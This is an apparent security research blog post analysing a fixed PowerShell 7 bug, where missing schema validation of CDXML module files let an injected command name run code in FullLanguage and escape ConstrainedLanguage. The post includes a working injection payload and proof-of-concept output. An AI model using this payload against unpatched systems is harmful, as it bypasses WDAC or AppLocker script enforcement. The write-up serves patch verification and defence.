<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ScriptBlock</span> <span class="n">sb</span> <span class="p">=</span> <span class="n">ScriptBlock</span><span class="p">.</span><span class="nf">Create</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">Context</span><span class="p">,</span> <span class="n">cmdletizationProxyModuleWriter</span><span class="p">.</span><span class="nf">ToString</span><span class="p">());</span>

<span class="c1">// CDXML doesn't allow script injection, so it is trusted.</span>
<span class="n">sb</span><span class="p">.</span><span class="n">LanguageMode</span> <span class="p">=</span> <span class="n">PSLanguageMode</span><span class="p">.</span><span class="n">FullLanguage</span><span class="p">;</span>
</code></pre></div></div>

<p>That comment is the security argument, and it’s load-bearing: because the script block is FullLanguage, the code it contains runs with full privileges no matter what mode the importer is in.</p>

<p>“CDXML doesn’t allow script injection” isn’t structural, though. The generated script text is assembled from XML values, and what keeps those values from breaking out of their context is validation against <code class="language-plaintext highlighter-rouge">cmdlets-over-objects.xsd</code>, a schema whose patterns constrain fields like command names to plain identifiers. The source says so itself, right next to the one place where a value goes into the script without escaping:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Dbg</span><span class="p">.</span><span class="nf">Assert</span><span class="p">(</span>
    <span class="n">Regex</span><span class="p">.</span><span class="nf">IsMatch</span><span class="p">(</span><span class="n">commandMetadata</span><span class="p">.</span><span class="n">Name</span><span class="p">,</span> <span class="s">@"[\p{Ll}\p{Lu}\p{Lt}\p{Lo}\p{Lm}]{1,100}-[\p{Ll}\p{Lu}\p{Lt}\p{Lo}\p{Lm}\p{Nd}]{1,100}"</span><span class="p">),</span>
    <span class="s">"Command name doesn't need escaping - validated via xsd"</span><span class="p">);</span>
<span class="n">output</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span>
    <span class="n">CmdletBeginBlockTemplate</span><span class="p">,</span>
    <span class="cm">/* 0 */</span> <span class="n">commandMetadata</span><span class="p">.</span><span class="n">Name</span><span class="p">,</span>
    <span class="p">...</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Dbg.Assert</code> compiles to nothing in release builds. So the schema is the only thing standing between the XML and the generated code. That’s fine, as long as the schema actually runs.</p>

<h2 id="the-bug">The bug</h2>

<p>In 7.6.2, and in every CoreCLR build before 7.6.5, it didn’t. The reader settings in <code class="language-plaintext highlighter-rouge">ScriptWriter</code> were set up under a preprocessor branch:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#if CORECLR // The XML Schema file 'cmdlets-over-objects.xsd' is missing in Github, and it's likely the resource string
</span>            <span class="c1">// 'CmdletizationCoreResources.Xml_cmdletsOverObjectsXsd' needs to be reworked to work in .NET Core.</span>
            <span class="n">ScriptWriter</span><span class="p">.</span><span class="n">s_xmlReaderSettings</span><span class="p">.</span><span class="n">DtdProcessing</span> <span class="p">=</span> <span class="n">DtdProcessing</span><span class="p">.</span><span class="n">Ignore</span><span class="p">;</span>
<span class="cp">#else
</span>            <span class="p">...</span> <span class="n">ValidationType</span> <span class="p">=</span> <span class="n">ValidationType</span><span class="p">.</span><span class="n">Schema</span><span class="p">;</span> <span class="n">Schemas</span><span class="p">.</span><span class="nf">Add</span><span class="p">(...)</span> <span class="p">...</span>
<span class="cp">#endif
</span></code></pre></div></div>

<p>On Windows PowerShell (the <code class="language-plaintext highlighter-rouge">#else</code> side) the schema was attached and enforced. On PowerShell Core / PowerShell 7 (the <code class="language-plaintext highlighter-rouge">#if CORECLR</code> side) the setup was skipped, and the reader fell back to no validation at all. The comment in the source says the quiet part: the schema file was missing from the repository, and the resource lookup needed reworking for .NET Core. Rather than block the port, the validation was compiled out, and it stayed that way until 7.6.5.</p>

<p>With no schema, every value the patterns were supposed to police is attacker-controlled. One of those values is the command name: <code class="language-plaintext highlighter-rouge">Verb</code> + <code class="language-plaintext highlighter-rouge">-</code> + <code class="language-plaintext highlighter-rouge">Noun</code>, or <code class="language-plaintext highlighter-rouge">DefaultNoun</code>, written into the generated script through this template:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function {0}
{
</code></pre></div></div>

<p>A <code class="language-plaintext highlighter-rouge">DefaultNoun</code> like this:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;DefaultNoun&gt;</span>X {} ; [System.IO.File]::WriteAllText('C:\poc\marker.txt','proof') ; function Z<span class="nt">&lt;/DefaultNoun&gt;</span>
</code></pre></div></div>

<p>turns the generated header into valid PowerShell:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">function</span><span class="w"> </span><span class="nf">Get-X</span><span class="w"> </span><span class="p">{}</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">WriteAllText</span><span class="p">(</span><span class="s1">'C:\poc\marker.txt'</span><span class="p">,</span><span class="s1">'proof'</span><span class="p">)</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="kr">function</span><span class="w"> </span><span class="n">Z</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">...</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The payload closes the function header, runs a .NET method call, and opens a dummy function for the rest of the template to attach to. It executes at import time, and it executes in FullLanguage, because that’s how the generated script block is marked.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>The test is short: force the session to ConstrainedLanguage, confirm the boundary is real (a direct method call must fail), write the crafted file with <code class="language-plaintext highlighter-rouge">Set-Content</code>, import it, and check for a marker file.</p>

<p>On <strong>7.6.2</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mode: ConstrainedLanguage
CTRL: direct method call BLOCKED in CLM (expected): Cannot invoke method. Method invocation is
      supported only on core types in this language mode.
CLM Set-Content OK: True
IMPORT: OK
MARKER EXISTS -&gt; payload executed
marker content: FULL-LANGUAGE-EXECUTION-PROOF
</code></pre></div></div>

<p>On <strong>7.6.6</strong>, the same script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IMPORT ERR: Import-Module: Cannot process Cmdlet Definition XML ... The '...:DefaultNoun' element
is invalid - The value 'X {} ; [System.IO.File]::WriteAllText(...) ; function Z' is invalid
according to its datatype '...:Noun' - The Pattern constraint failed.
marker MISSING -&gt; payload did not execute
</code></pre></div></div>

<p>That error is the schema doing its job: the <code class="language-plaintext highlighter-rouge">Noun</code> pattern rejects the payload before any script text is generated.</p>

<p>The runs above were on Linux builds. The CDXML import path is cross-platform, and ConstrainedLanguage is the same mode WDAC or AppLocker script enforcement sets on Windows; on a Windows CLM deployment the impact below applies unchanged.</p>

<h2 id="impact">Impact</h2>

<p>The preconditions are exactly what a CLM deployment is supposed to tolerate. In WDAC enforced mode, AppLocker script enforcement, or any host that runs untrusted scripts in a locked-down session, the attacker needs the session to write a file and import it. Both operations are ordinary and allowed. From there the injected code runs with FullLanguage privileges in the same process: arbitrary .NET, arbitrary API calls, no different from running outside the sandbox. The delivery route is a module import, so anything that feeds a <code class="language-plaintext highlighter-rouge">.cdxml</code> from a source the session doesn’t fully control is a candidate.</p>

<p>The timeline matters here, though: this is closed on current stable. 7.6.5 and 7.6.6 both reject the payload. It only affects older 7.x builds, so if you deploy WDAC or AppLocker with script enforcement, make sure you’re on 7.6.5 or later.</p>

<h2 id="the-fix">The fix</h2>

<p>The fix restores what the <code class="language-plaintext highlighter-rouge">#if CORECLR</code> branch had dropped, on every platform: <code class="language-plaintext highlighter-rouge">cmdlets-over-objects.xsd</code> is embedded in the assembly as a resource, and the reader settings always validate against it. In 7.6.5 and 7.6.6 the static constructor reads:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">Stream</span> <span class="n">xsdStream</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">ScriptWriter</span><span class="p">).</span><span class="n">Assembly</span><span class="p">.</span><span class="nf">GetManifestResourceStream</span><span class="p">(</span><span class="s">"cmdlets-over-objects.xsd"</span><span class="p">);</span>
<span class="n">XmlReader</span> <span class="n">cmdletizationSchemaReader</span> <span class="p">=</span> <span class="n">XmlReader</span><span class="p">.</span><span class="nf">Create</span><span class="p">(</span><span class="n">xsdStream</span><span class="p">,</span> <span class="n">s_xmlReaderSettings</span><span class="p">);</span>
</code></pre></div></div>

<p>with <code class="language-plaintext highlighter-rouge">ValidationType = ValidationType.Schema</code> set unconditionally. The change first landed on the release branch as “Add the xsd validation back for CIM cmdlets” (commit <code class="language-plaintext highlighter-rouge">2207e9e3e7</code>, merged 2026-08-10), shipped in 7.6.5 on 2026-08-14, and reached the main branch as <a href="https://github.com/PowerShell/PowerShell/pull/27869">PR #27869</a> on 2026-08-20.</p>

<p>Two checks beyond “the PoC stopped working”:</p>

<ul>
  <li>The second consumer of the CDXML path, <code class="language-plaintext highlighter-rouge">AnalysisCache.AnalyzeCdxmlModule</code> (behind <code class="language-plaintext highlighter-rouge">Get-Module -List</code>), runs through the same validated <code class="language-plaintext highlighter-rouge">ScriptWriter</code> and only fills in module metadata; it doesn’t generate or execute script text, so there’s no parallel unvalidated path.</li>
  <li>The escaping layer, audited separately from the schema: a canary battery with quote-bearing values in every loosely typed field (class names, method names, parameter names, defaults, help URIs, adapter data) round-trips safely. String contexts double quotes via <code class="language-plaintext highlighter-rouge">EscapeSingleQuotedStringContent</code>, variable contexts use <code class="language-plaintext highlighter-rouge">EscapeVariableName</code>. The only raw write left is the command name, and that one is now schema-tight.</li>
</ul>

<p>One observation about the fixed version, not a vulnerability in it: the command-name write is still protected by nothing but the schema. If the resource is ever lost again the way it was here, the injection comes back silently, and a release-build <code class="language-plaintext highlighter-rouge">Dbg.Assert</code> won’t tell anyone. An escape at the write site, or a startup check that the schema actually loaded, would make this trust decision fail closed instead of fail open.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>2026-08-10: fix merged into the release/v7.6.5 branch (<code class="language-plaintext highlighter-rouge">2207e9e3e7</code>).</li>
  <li>2026-08-14: 7.6.5 released with the fix.</li>
  <li>2026-08-20: same change merged to main as PR #27869 (<code class="language-plaintext highlighter-rouge">ad9c8fb93cd8</code>).</li>
  <li>2026-09-08: 7.6.6 released.</li>
  <li>2026-10-13: verified end to end on 7.6.2 (escape) and 7.6.6 (rejected); completeness checks done.</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>This is n-day research, not a disclosure. The fix was already public when I looked at it, no report was filed, and no CVE exists. Everything above is based on public sources: the merged fix, released binaries (7.6.2 and 7.6.6), and the source that ships with them.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry></feed>